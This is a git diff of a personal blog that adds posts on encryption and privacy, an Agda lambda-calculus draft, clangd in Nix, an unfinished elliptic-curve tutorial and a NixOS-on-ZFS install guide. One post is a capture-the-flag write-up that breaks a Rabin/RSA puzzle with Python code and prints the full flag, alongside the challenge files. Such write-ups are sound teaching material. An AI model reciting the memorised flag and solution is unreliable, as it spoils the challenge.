encryption? How do you know the apps on your phone are only sending the data it
needs to send, and not a lot more? Traditionally, independent researchers or
bounty hunters may reverse-engineer client software and discover that they
didn't quite operate as advertised, but we can't just rely solely on people
from reddit with too much time on their hands to uphold security.
Imagine if Google Drive was actually a physical vault service and the website
was just a person you would hand your valuables to to keep safe. They could say
"we're keeping this in military-grade security," but unless you watched what
they did, how do you know they didn't cheap out on you and just shove it under
the mattress where hackers breaking in could just steal everything?
Same applies to Apple's recent child protection system. Their [white
paper][csam] goes in painstakingly great detail about how photos are protected
by "multi-layer" encryption before it's able to be decrypted by Apple. But
typical users are not allowed to pick apart your iPhone to make sure it's
encrypting everything correctly, or that the perceptual hashing algorithm it
uses to filter pictures isn't just trivially flagging everything for manual
review.
WhatsApp data is stored unencrypted to the running application in order to
store a database of messages locally. Additionally, this database can be backed
up to iCloud, and according to [WhatsApp themselves][whatsapp], that data is
stored unencrypted, which means that it may benefit from _transport_ security
and _encryption at rest_ independently, but ultimately the people moving data
around are still able to read it.
I've also seen discussion of undermining end-to-end encryption in a [ghost
proposal][ghost], a method that abuses multi-party encryption to add in a
"ghost" listener, which can be the company or the government or anyone else
that the vendor chooses. In theory, this backdoor could be prevented by an
open-sourced client that properly checks each recipient to make sure it's the
expected person before encrypting the message and sending it.
Given that end-to-end encryption solely exists because trusting companies that
run services is insufficient, it's safe to say that trusting companies to make
client software that act in the interest of their users is just as useless as
trusting companies to make services that act in the interest of their users.
## What can i do?
Although inconvenient, trusting different vendors for different pieces of this
technological assembly line is the best way to prevent it from becoming abused.
Many software use **open protocols**, communication schemes that are agreed
upon and freely available to everyone[^2]. Then, independent parties develop
and maintain lots of different software that all speak the same protocol, so if
you don't trust a particular service to have an app that doesn't encrypt its
data properly, you can just choose to use a different one by someone who you
trust more.
**Email** is a famous case of this: if I sign up for an email account with
Outlook, I don't have to use a proprietary Outlook client. I _could_ if I
wanted, and I imagine that there may be some features that Microsoft has added
specifically to the Outlook website and apps, but since they claim to conform to
the _open_ email specifications, I can just choose to use a different one.
On top of that, email is _federated_, which means that if I didn't like
Outlook's services, I could switch to a different provider and _still_ be able
to chat with people on Outlook, unlike many of today's siloed services where I
can't just message people on Facebook if I only have an account on Twitter,
since they don't talk to each other using the same protocol.
[**Matrix**][matrix] is a new chat network that also follows in the same spirit
as email, but also has the benefits of multi-party encryption. There are
multiple apps and servers, and servers can federate with each other using an
open protocol. I would strongly recommend people who are interested in privacy
to consider it.
## Conclusion
Why care? This might just seem to be some superficial political concern by
privacy advocates who warn of dangerous edge cases that only matter to people
whose rights are being violated by some dystopian government. Well, to put it
bluntly, that dystopia is now, and it's not just the government we should be
afraid of, but tech megacorps who possibly have even more power.
We live in a digital world, so it's important to know how it works and who's in
control.
[^1]:
Governments and other parties with enough computational resources may
still be able to undermine specific levels of security, or just [threaten you
personally][wrench] until they get what they want.
[^2]:
Large corporations typically still have majority representation in the
committees that decide on the most impactful specifications, but these are
still made available to researchers who can analyze and critique it.
[^3]:
Not exactly; encryption by default is not authenticated. That means while
the data is protected in transit, there's no guarantee that the recipient is
actually who they say they are. I know only the recipient received my message,
but I don't know for sure the recipient is Nathan. In practice, browsers use
[PKI][pki] infrastructure to solve this, which relies on a certificate chain
that is distributed by browser or operating system vendors.
[1]: {{< ref "#not-enough" >}}
[csam]: https://www.apple.com/child-safety/pdf/CSAM_Detection_Technical_Summary.pdf
[ferpa]: https://en.wikipedia.org/wiki/Family_Educational_Rights_and_Privacy_Act
[ghost]: https://www.internetsociety.org/wp-content/uploads/2020/03/Ghost-Protocol-Fact-Sheet.pdf
[hipaa]: https://en.wikipedia.org/wiki/Health_Insurance_Portability_and_Accountability_Act
[signal]: https://signal.org/
[wrench]: https://xkcd.com/538/
[matrix]: https://matrix.org/
[whatsapp]: https://faq.whatsapp.com/iphone/chats/how-to-back-up-to-icloud
[scuttlebutt]: https://scuttlebutt.nz/
[pki]: https://en.wikipedia.org/wiki/Public_key_infrastructure

View file

@ -0,0 +1,182 @@
---
title: "building a formal cek machine in agda"
draft: true
date: 2022-02-02
tags: ["computer-science", "programming-languages", "formal-verification", "lambda-calculus"]
languages: ["agda"]
toc: true
---
<!--more-->
Last semester, I took a course on reasoning about programming languages using
Agda, a dependently typed meta-language. For the term project, we were to
implement a simply-typed lambda calculus with several extensions, along with
proofs of certain properties.
My lambda calculus implemented `call/cc` on top of a CEK machine.
<details>
<summary><b>Why is this interesting?</b></summary>
Reasoning about languages is one way of ensuring whole-program correctness.
Building up these languages from foundations grounded in logic helps us
achieve our goal with more rigor.
As an example, suppose I wrote a function that takes a list of numbers and
returns the maximum value. Mathematically speaking, this function would be
_non-total_; an input consisting of an empty set would not produce reasonable
output. If this were a library function I'd like to tell people who write code
that uses this function "don't give me an empty list!"
But just writing this in documentation isn't enough. What we'd really like is
for a tool (like a compiler) to tell any developer who is trying to pass an
empty list into our maximum function "You can't do that." Unfortunately, most
of the popular languages being used today have no way of describing "a list
that's not empty."
We still have a way to prevent people from running into this problem, though
it involves pushing the problem to runtime rather than compile time. The
maximum function could return an "optional" maximum. Some languages'
implementations of optional values force programmers to handle the "nothing"
case, while others ignore it silently. But in the more optimistic case, even
if the list was empty, the caller would have handled it and treated it
accordingly.
This isn't a pretty way to solve this problem. _Dependent types_ gives us
tools to solve this problem in an elegant way, by giving the type system the
ability to contain values. This also opens its own can of worms, but for
questions about program correctness, it is more valuable than depending on
catching problems at runtime.
</details>
## Lambda calculus
The lambda calculus is a mathematical structure for describing computation. At
the most basic level, it defines a concept called a _term_. Everything that can
be represented in a lambda calculus is some combination of terms. A term can
have several constructors:
- **Var.** This is just a variable, like `x` or `y`. During evaluation, a
variable can resolve to a value in the evaluation environment by name. If
the environment says `{ x = 5 }`, then evaluating `x` would result in 5.
- **Abstraction, or lambda (λ).** An _abstraction_ is a term that describes some
other computation. From an algebraic perspective, it can be thought of as a
function with a single argument (i.e f(x) = 2x is an abstraction, although
it would be written `(λx.2x)`)
- **Application.** Application is sort of the opposite of abstraction, exposing
the computation that was abstracted away. From an algebraic perspective,
this is just function application (i.e applying `f(x) = 2x` to 3 would
result in 2\*3. Note that only a simple substitution has been done and
further evaluation is required to reduce 2\*3)
### Why?
The reason it's set up this way is so we can reason about terms inductively. The
idea is that because terms are just nested constructors, we can describe the
behavior of any term by just defining the behavior of these 3 constructors.
Interestingly, the lambda calculus is Turing-complete, so any computation can be
reduced to those 3 constructs. I used numbers liberally in the examples above,
but in a lambda calculus without numbers, you could define integers recursively
like this:
- Let `z` represent zero.
- Let `s` represent a "successor", or increment function. `s(z)` represents 1,
`s(s(z))` represents 2, and so on.
In lambda calculus terms, this would look like:
- 0 = `λs.(λz.z)`
- 1 = `λs.(λz.s(z))`
- 2 = `λs.(λz.s(s(z)))`
- 3 = `λs.(λz.s(s(s(z))))`
In practice, many lambda calculus have a set of "base" values from which to
build off, such as unit values, booleans, and natural numbers (having numbers in
the language means we don't need the `s` and `z` dance to refer to them).
### Turing completeness
As I noted above, the lambda calculus is _Turing-complete_. One feature of
Turing complete systems is that they have a (provably!) unsolvable "halting"
problem. Most of the simple term shown above terminate predictably. But as an
example of a term that doesn't halt, consider the _Y combinator_, an example of
a fixed-point combinator:
Y = λf.(λx.f(x(x)))(λx.f(x(x)))
If you tried calling Y on some term, you will find that evaluation will quickly
expand infinitely. That makes sense given its purpose: to find a _fixed point_
of whatever function you pass in.
> As an example, the fixed-point of the function f(x) = sqrt(x) is 1. That's
> because f(1) = 1. The Y combinator attempts to find the fixed point by simply
> applying the function multiple times. In the untyped lambda calculus, this can
> be used to implement simple (but possibly unbounded) recursion.
Because there are terms that may not terminate, the untyped lambda calculus is
not very useful for logical reasoning. Instead, we add some constraints on it
that makes evaluation total, at the cost of losing Turing-completeness.
### Simply-typed lambda calculus
The simply-typed lambda calculus (STLC) adds types to every term. Types are
crucial to any kind of static program analysis. Suppose I was trying to apply
the term `5` to `6`. As humans we can look at that and instantly recognize that
the evaluation would be invalid, yet under the untyped lambda calculus, it would
be completely representable.
To solve this in STLC, we make this term completely unrepresentable at all. To
say you want to apply 5 to 6 would not be a legal STLC term. That's because all
STLC terms are untyped lambda calculus terms accompanied by a _type_.
This gives us more information about what's allowed before we run the
evaluation. For example, numbers may have their own type `Nat` (for "natural
number"), while functions have a special "arrow" type `_ -> _`, where the
underscores represent other types. A function that takes a number and returns a
boolean (like isEven) would have the type `Nat -> Bool`, while a function that
takes a boolean and returns another boolean would be `Bool -> Bool`.
With this, we have a framework for rejecting terms that would otherwise be legal
in untyped lambda calculus, but would break when we tried to evaluate them. A
function application would be able to require that the argument is the same type
as what the function is expecting.
A semi-formal definition for STLC terms would look something like this:
- **Var.** Same as before, it's a variable that can be looked up in the
environment.
- **Abstraction, or lambda (λ).** This is a function that carries three pieces
of information: (1) the name of the variable that its input will be
substituted for, (2) the _type_ of the input, and (3) the body in which the
substitution will happen.
- **Application.** Same as before.
It doesn't seem like much has changed. But all of a sudden, _every_ term has a
type.
- `5 :: Nat`
- `λ(x:Nat).2x :: Nat -> Nat`
- `isEven(3) :: (Nat -> Bool) · Nat = Bool`
Notation: (`x :: T` means `x` has type `T`, and `f · x` means `f` applied to
`x`)
This also means that some values are now unrepresentable:
- `isEven(λx.2x) :: (Nat -> Bool) · (Nat -> Nat)` doesn't work because the type
of `λx.2x :: Nat -> Nat` can't be used as an input for `isEven`, which is
expecting a `Nat`.
We have a good foundation for writing programs now, but this by itself can't
qualify as a system for computation.
## CEK machine
A CEK machine is responsible for evaluating a lambda calculus term.

View file

@ -0,0 +1,284 @@
---
title: "The Cyber Grabs CTF: Unbr34k4bl3 (942)"
date: 2022-02-02
tags: ["ctf", "crypto", "rsa"]
languages: ["python"]
math: true
toc: true
---
Crypto challenge Unbr34k4bl3 from the Cyber Grabs CTF.
<!--more-->
> No one can break my rsa encryption, prove me wrong !!
>
> Flag Format: `cybergrabs{}`
>
> Author: Mritunjya
>
> [output.txt] [source.py]
[output.txt]: ./output.txt
[source.py]: ./source.py
Looking at the source code, this challenge looks like a typical RSA challenge at
first, but there are some important differences to note:
- $n = pqr$ (line 34). This is a twist but RSA strategies can easily be
extended to 3 prime components.
- $p, q \equiv 3 \mod 4$ (line 19). This suggests that the cryptosystem is
actually a [Rabin cryptosystem][Rabin].
- We're not given the public keys $e_1$ and $e_2$, but they are related through
$x$.
## Finding $e_1$ and $e_2$
We know that $e_1$ and $e_2$ are related through $x$, which is some even number
greater than 2, but we're not given any of their real values. We're also given
through an oddly-named `functor` function that:
$$ 1 + e_1 + e_1^2 + \cdots + e_1^x = 1 + e_2 + e_2^2 $$
Taking the entire equation $\mod e_1$ gives us:
$$
\begin{aligned}
1 &\equiv 1 + e_2 + e_2^2 \mod e_1 \\\
0 &\equiv e_2 + e_2^2 \\\
0 &\equiv e_2(1 + e_2)
\end{aligned}
$$
This means there are two possibilities: either $e_1 = e_2$ or $e_1$ is even
(since we know $e_2$ is a prime). The first case isn't possible, because with $x
\> 2$, the geometric series equation would not be satisfied. So it must be true
that $\boxed{e_1 = 2}$, the only even prime.
Applying geometric series expansion, $1 + e_2 + e_2^2 = 2^{x + 1} - 1$. We can
rearrange this via the quadratic equation to $e_2 = \frac{-1 \pm \sqrt{1 - 4
(2 - 2^{x + 1})}}{2}$. Trying out a few values we see that only $\boxed{x = 4}$
and $\boxed{e_2 = 5}$ gives us a value that make $e_2$ prime.
## Finding $p$ and $q$
We're not actually given $p$ or $q$, but we are given $ip = p^{-1} \mod q$ and
$iq = q^{-1} \mod p$. In order words:
$$
\begin{aligned}
p \times ip &\equiv 1 \mod q \\\
q \times iq &\equiv 1 \mod p
\end{aligned}
$$
We can rewrite these equations without the mod by introducing variables $k_1$
and $k_2$ to be arbitrary constants that we solve for later:
$$
\begin{aligned}
p \times ip &= 1 + k_1q \\\
q \times iq &= 1 + k_2p
\end{aligned}
$$
We'll be trying to use these formulas to create a quadratic that we can use to
eliminate $k_1$ and $k_2$. Multiplying these together gives:
$$
\begin{aligned}
(p \times ip)(q \times iq) &= (1 + k_1q)(1 + k_2p) \\\
pq \times ip \times iq &= 1 + k_1q + k_2p + k_1k_2pq
\end{aligned}
$$
I grouped $p$ and $q$ together here because it's important to note that since we
have $x$, we know $r$ and thus $pq = \frac{n}{r}$. This means that for purposes
of solving the equation, $pq$ is a constant to us. This actually introduces an
interesting structure on the right hand side, we can create 2 new variables:
$$
\begin{aligned}
\alpha &= k_1q \\\
\beta &= k_2p
\end{aligned}
$$
Substituting this into our equation above we get:
$$
\begin{aligned}
pq \times ip \times iq &= 1 + \alpha + \beta + \alpha\beta
\end{aligned}
$$
Recall from whatever algebra class you last took that $(x - x_0)(x - x_1) = x^2
\- (x_0 + x_1)x + x_0x_1$. Since we have both $\alpha\beta$ and $(\alpha +
\beta)$ in our equation, we can try to look for a way to isolate them in order
to create our goal.
$$
\begin{aligned}
pq \times ip \times iq &= 1 + k_1q + k_2p + k_1k_2pq \\\
k_1k_2pq &= pq \times ip \times iq - 1 - k_1q - k_2p \\\
k_1k_2 &= ip \times iq - \frac{1}{pq} - \frac{k_1}{p} - \frac{k_2}{q}
\end{aligned}
$$
$\frac{1}{pq}$ is basically $0$, and since $k_1$ and $k_2$ are both smaller than
$p$ or $q$, then we'll approximate this using $k_1k_2 = ip \times iq - 1$. Now
that $k_1k_2$ has become a constant, we can create the coefficients we need:
$$
\begin{aligned}
\alpha + \beta &= pq \times ip \times iq - 1 - k_1k_2pq \\\
\alpha\beta &= k_1k_2pq
\end{aligned}
$$
$$
\begin{aligned}
(x - \alpha)(x - \beta) &= 0 \\\
x^2 - (\alpha + \beta)x + \alpha\beta &= 0 \\\
x &= \frac{(\alpha+\beta) \pm \sqrt{(\alpha+\beta)^2 - 4\alpha\beta}}{2}
\end{aligned}
$$
Putting this into Python, looks like:
```py
from decimal import Decimal
getcontext().prec = 3000 # To get all digits
k1k2 = ip * iq - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * ip * iq - 1 - k1k2 * pq
def quadratic(b, c):
b, c = Decimal(b), Decimal(c)
disc = b ** 2 - 4 * c
return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
```
Now that we have $\alpha$ and $\beta$, we can try GCD'ing them against $pq$ to
get $p$ and $q$:
```py
from math import gcd
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq # Success!
```
### Alternative method
@sahuang used the [sympy] library to do this part instead, resulting in much
less manual math. It's based on [this] proof from Math StackExchange that $p
\cdot (p^{-1} \mod q) + q \cdot (q^{-1} \mod p) = pq + 1$.
[sympy]: https://www.sympy.org
[this]: https://math.stackexchange.com/a/1705450
```py
from sympy import *
p,q = symbols("p q")
eq1 = Eq(ip * p + iq * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
```
## Decrypting the ciphertexts
Now that we know $p$ and $q$, it's time to plug them back into the cryptosystem
and get our plaintexts. $c_2$ is actually easier than $c_1$, because with $e_2 =
5$ we can just find the modular inverse:
```py
phi = (p - 1) * (q - 1) * (r - 1)
d2 = pow(e2, -1, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
# ... The last part of the flag is: 8ut_num83r_sy5t3m_15_3v3n_m0r3_1nt3r35t1n6} ...
```
This trick won't work with $c_1$ however:
```py
d1 = pow(e1, -1, phi)
# ValueError: base is not invertible for the given modulus
```
Because $\phi$ is even (it's the product of one less than 3 primes), there can't
possibly be a $d_1$ such that $2 \cdot d_1 \equiv 1 \mod \phi$. According to
[Wikipedia][Rabin], the decryption for a standard two-prime $n$ takes 3 steps:
1. Compute the square root of $c \mod p$ and $c \mod q$:
- $m_p = c^{\frac{1}{4}(p + 1)} \mod p$
- $m_q = c^{\frac{1}{4}(q + 1)} \mod q$
2. Use the extended Euclidean algorithm to find $y_p$ and $y_q$ such that $y_p
\cdot p + y_q \cdot q = 1$.
3. Use the Chinese remainder theorem to find the roots of $c$ modulo $n$:
- $r_1 = (y_p \cdot p \cdot m_q + y_q \cdot q \cdot m_p) \mod n$
- $r_2 = n - r_1$
- $r_3 = (y_p \cdot p \cdot m_q - y_q \cdot q \cdot m_p) \mod n$
- $r_4 = n - r_3$
4. The real message could be any $r_i$, but we don't know which.
Converting this to work with $n = pqr$, it looks like:
1. Compute the square root of $c \mod p$, $c \mod q$, and $c \mod r$:
- $m_p = c^{\frac{1}{4}(p + 1)} \mod p$
- $m_q = c^{\frac{1}{4}(q + 1)} \mod q$
- $m_r = c^{\frac{1}{4}(r + 1)} \mod r$
2. Using the variable names from [AoPS][CRT]'s definition of CRT:
- For $k \in \\{ p, q, r \\}, b_k = \frac{n}{k}$.
- For $k \in \\{ p, q, r \\}, a_k \cdot b_k \equiv 1 \mod k$.
3. Let $r = \displaystyle\sum_k^{\\{ p, q, r \\}} \pm (a_k \cdot b_k \cdot m_k) \mod n$.
4. The real message could be any $r$, but we don't know which.
[CRT]: https://artofproblemsolving.com/wiki/index.php/Chinese_Remainder_Theorem
In code this looks like:
```py
# Step 1
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)
# Step 2
bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)
# Step 3
from itertools import product
for sp, sq, sr in product((-1, 1), repeat=3):
m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
m = long_to_bytes(m)
# Step 4
# We know that the real flag starts with `cybergrabs{`...
if b"cybergrabs" in m: print(m)
# Congratulations, You found the first part of flag cybergrabs{r481n_cryp70sy5t3m_15_1nt3r35t1n6_ ...
```
The final flag, then, is:
```
cybergrabs{r481n_cryp70sy5t3m_15_1nt3r35t1n6_8ut_num83r_sy5t3m_15_3v3n_m0r3_1nt3r35t1n6}
```
&#x1f389;
Big thanks to @10, @sahuang, and @thebishop in the Project Sekai discord for
doing a lot of the heavy-lifting to solve this challenge.
[Rabin]: https://en.wikipedia.org/wiki/Rabin_cryptosystem

View file

@ -0,0 +1,5 @@
n:267362205744654830055585746250317245125479735269853713372687604676608285629127977574310510441358104169652444917329986129098240750401425257601282268733834091593200445244725460613298199140690597119199763970064359847666802255456013592631532853951273286284878230893809080250386646832110506402289378691079462364884899662707502858007857457806853302449695351229004051902617728418480990341155900565542195318206284041182555579388392863474548687784403795738945489219689610881075059037192656116884269582257788959555951074322245033492165406470004019896763472332962300128378758934128374039937693688718317737657946435827745981009467876838127075176808098467305627394472135213533754815713468369763665632168616054982745256773112537152292099369137072982289095951236065885648588670059655452986720063260146952425798150221407866669449837430999779776718047668562687216933053536759554900663226163021145439386115076821161003965334731127329486856711654741683760749336235855319144478194501034662638054193682000283319917096796971
ip:65491313526527942082900846848440586365393305192439699810712229312474732937502934334921061033822729150056656630858908294464249602368303871630644420585085642204592189073314730233318796675949142968346807766087775542461078648703191450221286915401606901781524237580646760734493950360267230729125514156671619347616
iq:97034409222811998555255396847918439343239825222504093225438959283117395075159811973044380473862026342866489725039905931430797650466599952795602909181290621103197493223080488468216279214006070950393096075839913101687588555346523517436421698916141195686143520143972735534402754157166545851899187305574703394138
c1:103687839591259628532585171241634220321003599759860095236990117623065664975385083122971507015385215246948744078816596026772744294701233346732383214113445480056584639282712898073542520168025667980980057512174927564196375256682206601425714094930670415979638437119896258396784978194294581076901000507291277729888015413204446158926865037965291316577726275211006619643531704449499845352147547986667837681877488120093302675775792115380914560935989896453159186176952126083066619414338359303033325593504442257083571002878083287293828310810483726711816109297046925744157605591270761804522735216774801135342322479770391505911100485259078064775709124730966391629468398187269096529671187877954443617005248499140455160589093379715757808387108825458007733207099871941497372539249357162437077379731766825184301649010270921003130776410066972952756983157217280397531412843118202051922048479332111760976091302376602674590153876045380552746826056547929265785960676415919260117136285580971488670143947003566230254837742519
c2:171159809874438596904787534111610260851529969068192878049771299710688449419966698428704180474774734112617652498954998301185232279153644173070897800123538474930545720934844727376637921072749901149514789723141795042182408704214998390482343965532559149095934231081729041402598776401575561653660624208366051273601230345754361771067242657825194926706328336322383296953817730346429591680463526267530372572332663327157636745578067246913529155120642276894180354494816411827468256127607558873938451944866168777913756913920336763454881108023708284527878322162463081091624350220308273550298342755582044860337692076513609120342318151660103532559583052954725303030103413034880155621982581677423267299780543045375467310718078800411397780269409147558121862038983169509828944551199620508493589091401498720419409158373805529997911655270528589050795214164221299581104149954423726171539700223299445034347915430838395255700425648686205603925507474877720680274914513203566997846945579395522000899007446797091893230195801607

View file

@ -0,0 +1,53 @@
from Crypto.Util.number import *
from secret import *
assert (x>2 and x%2 == 0)
assert (isPrime(e1) and isPrime(e2))
def functor():
val1 , val2 = 0,0
for i in range(x+1):
val1 += pow(e1,i)
for j in range(3):
val2 += pow(e2,j)
assert (val1 == val2)
def keygen():
while True:
p,q = [getStrongPrime(1024) for _ in range(2)]
if p%4==3 and q%4==3:
break
r = 2
while True:
r = r*x
if r.bit_length()>1024 and isPrime(r-1):
r = r-1
break
return p,q,r
functor()
p,q,r = keygen()
n = p*q*r
print(f"p:{p}")
print(f"q:{q}")
ip = inverse(p,q)
iq = inverse(q,p)
c1 = pow(bytes_to_long(flag[0:len(flag)//2].encode('utf-8')),e1,n)
c2 = pow(bytes_to_long(flag[len(flag)//2:].encode('utf-8')),e2,n)
print(f"n:{n}",f"ip:{ip}",f"iq:{iq}",f"c1:{c1}",f"c2:{c2}",sep="\n")

View file

@ -0,0 +1,34 @@
---
title: "Clangd in Nix"
date: 2022-03-03
tags: ["nixos"]
---
I've been using [Nix][NixOS] a lot recently since it handles dependency
management very cleanly, but one gripe that I've been having is that when I'm
doing C/C++ development work using `nix develop`, all my dependencies are
actually in the Nix store in `/nix`, so my [clangd] editor plugin won't be able
to find them.
Fortunately, clangd supports looking for a file called `compile_commands.json`,
which describes the compilation commands used for each file, with absolute paths
for all dependencies.
For [CMake]-based projects, there's an option to dump this information
automatically into the build directory, which I typically then symlink into my
project's root directory for my editor to find and apply to my files. Here's the
snippet:
```cmake
# Generate the `compile_commands.json` file.
set(CMAKE_EXPORT_COMPILE_COMMANDS ON CACHE INTERNAL "")
if(CMAKE_EXPORT_COMPILE_COMMANDS)
set(CMAKE_CXX_STANDARD_INCLUDE_DIRECTORIES
${CMAKE_CXX_IMPLICIT_INCLUDE_DIRECTORIES})
endif()
```
[NixOS]: https://nixos.org/
[clangd]: https://clangd.llvm.org/
[CMake]: https://cmake.org/

View file

@ -0,0 +1,127 @@
---
title: "Learn by Implementing Elliptic Curve Crypto"
date: 2022-03-04
tags: ["crypto", "learn-by-implementing"]
draft: true
math: true
toc: true
---
Good places to start (in terms of usefulness):
- [A relatively easy to understand primer on elliptic curve cryptography][2] by Cloudflare
- [Elliptic-curve cryptography][3] from Practical Cryptography
- [Elliptic-curve cryptography][1] on Wikipedia
- [Elliptic Curve Cryptography: a gentle introduction][4] by Andrea Corbellini
[1]: https://en.wikipedia.org/wiki/Elliptic-curve_cryptography
[2]: https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/
[3]: https://cryptobook.nakov.com/asymmetric-key-ciphers/elliptic-curve-cryptography-ecc
[4]: https://andrea.corbellini.name/2015/05/17/elliptic-curve-cryptography-a-gentle-introduction/
I'm writing this post because there's a lot of good posts out there introducing
the elliptic curve formula, but not many that continue with getting from there
to actually encrypting and decrypting messages. Maybe this is a good thing for
discouraging people from writing insecure ECC implementations and using them in
production, but it's not great for understanding the algorithm.
> **DISCLAIMER:** I'm not a cryptographer! This is not a cryptographically
> secure implementation, only used to demonstrate how the algorithm works. Read
> [the SafeCurves intro][4] for some of the attacks a custom ECC implementation
> may overlook.
[4]: https://safecurves.cr.yp.to/index.html
## Basic Ideas
ECC starts with the idea that starting with an elliptic curve formula like $y^2
= x^3 + ax + b$ that operates over a finite field $\mathbb{F}_p$, and defining
an addition operation over two points, you can form a cyclic structure where
adding a point to itself some number of times gets you back where you started.
The interesting thing about this cyclic structure is that given the starting
point $G$, also called the **generator** and some number $n$, you can find the
$n$th element of that cycle $n \times G$ really quickly (in $\log(n)$ time). But
if you're only given $G$ and $n \times G$, you can't figure out what $n$ is
unless you brute force every possible number $n$ could be.
What cryptographers have done is develop several sets of curve parameters that
are publicly known, that include $a$, $b$, and the generator point $G$. Then
users of the curve will just pick some $n$ and publish $n \times G$, and because
of the difficulty of the elliptic curve discrete logarithm problem, $n$ will
remain secret.
There's some constraints on the properties of the curve parameters and $G$, but
I won't go too far into that here since the proven curves have satisfies all
those constraints.
Once we have the curve and a keypair, there's all sorts of different
cryptographic schemes that we can now build on top of these foundations:
- [Encryption]({{< ref "#encryption" >}})
- [Signatures]({{< ref "#signatures" >}})
- [Key exchange]({{< ref "#key-exchange" >}})
## Implementation
I'll be implementing this using [Go]. I chose it for the ability to define
methods out of order and independently of their associated structs, as well as
their built-in big-integers library. This is required for compiling the Go
module:
[Go]: https://go.dev/
[Markout]: https://git.mzhang.io/michael/markout
```go
package elliptic
import (
"math/big"
)
```
> This is a [literate document][literate]. You can run this blog post using [Markout]:
>
> ```
> TODO:
> ```
[literate]: https://en.wikipedia.org/wiki/Literate_programming
### Math primitives
```go
type Point struct {
x *big.Int
y *big.Int
inf bool
}
```
Addition on $P$ and $Q$ is defined by first finding the line $PQ$, determining
the point $-R$ where it intersects the curve again, and then returning $R$. We
can find the line $PQ$ by using high school geometry:
$$
\begin{aligned}
(y - y_0) = m(x - x_0)
\end{aligned}
$$
```go
func (A Point) Add(B Point) Point {
// Find the slope between points A and B.
slope := big.NewRat(A.y - B.y, A.x - B.x)
return Point{}
}
```
## Cryptographic applications
These are some of the cryptographic primitives you can build over the above
implementation.
### Encryption
### Signatures
### Key exchange

View file

@ -0,0 +1,190 @@
---
title: "Installing NixOS on ZFS with encryption"
date: 2022-05-09
tags: ["nixos", "linux", "setup"]
toc: true
---
I finally switched over to NixOS for my desktop, and here is my install process.
<!--more--> Annoyingly enough, the biggest non-declarative part of Nix is this
initial setup phase, and I made several mistakes during the install process, so
I'm documenting the process here so I can remember for next time.
- CPU: AMD Ryzen 7 3700X
- GPU: NVIDIA GeForce RTX 3080 Ti
- RAM: 80GB
- Storage:
- SSD1: 1TB Samsung SSD 860 (encrypted), which I'm migrating off of
- SSD2: 2TB Crucial MX500 (encrypted), which I'm migrating to
- HDD: 3TB HITACHI HUA72303 (unencrypted), which serves as storage for music
and games.
I already have my [Nix flake][1] setup for my other machines, but of those only
my server runs NixOS. Instead, all my other machines use Arch Linux with just
the Nix package manager installed on top.
[1]: https://git.sr.ht/~mzhang/flake
## Installation Media
Since I'm using two SSDs, I don't bother with flashing the installation media on
a USB stick and rebooting into that. I can just use Nix to get the tools that I
need:
```
nix shell nixpkgs#nixos-install-tools
```
This will get me scripts like `nixos-generate-config` and `nixos-install` which
I'll need for my setup.
## Disk Setup
First, I identified my disks. This can be done using `ls -l /dev/disk/by-id` and
identifying the one corresponding to your disk.
```
export SSD1=/dev/disk/by-id/ata-Samsung_SSD_860_EVO_1TB_[...]
export SSD2=/dev/disk/by-id/ata-CT2000MX500SSD1_[...]
export HDD=/dev/disk/by-id/ata-HITACHI_HUA723030ALA640_[...]
```
Then, using some of the other references out there, I carefully used `sgdisk` to
construct the partition tables. I want to dual boot NixOS with Windows, so I'm
purposefully leaving out around 40% of the disk for that partition. (Note: use
`sgdisk -L` to get the IDs for the `-t` parameter)
```
# Zap the disk
sgdisk --zap $SSD2
# 1: Boot partition
sgdisk -n1:1M:+512M -t1:ef00 $SSD2
# 2: NixOS partition
# Note: bf01 is "Solaris /usr & Mac ZFS"
sgdisk -n2:0:+1000G -t2:bf01 $SSD2
```
We'll let Windows create its own partitions using its installer later.
## ZFS Setup
```
zpool create \
-o ashift=12 `# 2^12 = 4096 sector size, note small o` \
-o autotrim=on \
-O acltype=posixacl `# needed for some things` \
-O atime=off `# turn off access time` \
-O mountpoint=none `# turn off automatic mounting` \
-O compression=lz4 `# sure, why not` \
-O xattr=sa \
-O encryption=aes-256-gcm `# disk encryption` \
-O keyformat=passphrase \
rpool $SSD2-part2
```
It'll prompt for the encryption passphrase now.
```
mkfs.vfat $SSD2-part1
zfs create -o mountpoint=legacy rpool/nixos
```
Mount them:
```
export MNT=/mnt/nixos
mount -t zfs rpool/nixos $MNT
mkdir $MNT/boot
mount $SSD2-part1 $MNT/boot
```
## NixOS Hardware Configuration
```
nixos-generate-config --root $MNT
```
This writes the default configuration along with the results of the hardware
scan. Although it says not to edit the file, this scrapes all of my virtual
network interfaces which I do _not_ want in my general config, so I'll trim it a
bit. Edit the file with:
```
$EDITOR $MNT/etc/nixos/hardware-configuration.nix
```
For the `configuration.nix` file, the following needs to be added somewhere in
the file in order to get ZFS to work:
```
{
boot.supportedFilesystems = [ "zfs" ];
networking.hostId = "<8 random hex digits>";
}
```
Also I chose to use GRUB instead of systemd-boot, so replace the line enabling
systemd-boot with:
```
{
boot.loader.grub.enable = true;
boot.loader.grub.efiSupport = true;
boot.loader.grub.device = "nodev";
}
```
## Install NixOS
At this point I copied this configuration into my flake, so I can use all the
packages that I've previously set up, including home manager.
Run
```
nixos-install --root $MNT --flake flake#attr
```
Done! Now unmount the file systems:
```
umount $MNT/boot
umount $MNT
```
## Neofetch
```
▗▄▄▄ ▗▄▄▄▄ ▄▄▄▖ michael@nucleus
▜███▙ ▜███▙ ▟███▛ ---------------
▜███▙ ▜███▙▟███▛ OS: NixOS 22.11 (Raccoon) x86_64
▜███▙ ▜██████▛ Host: ASUSTeK COMPUTER INC. TUF GAMING X570-PLUS (WI-FI)
▟█████████████████▙ ▜████▛ ▟▙ Kernel: 5.15.53
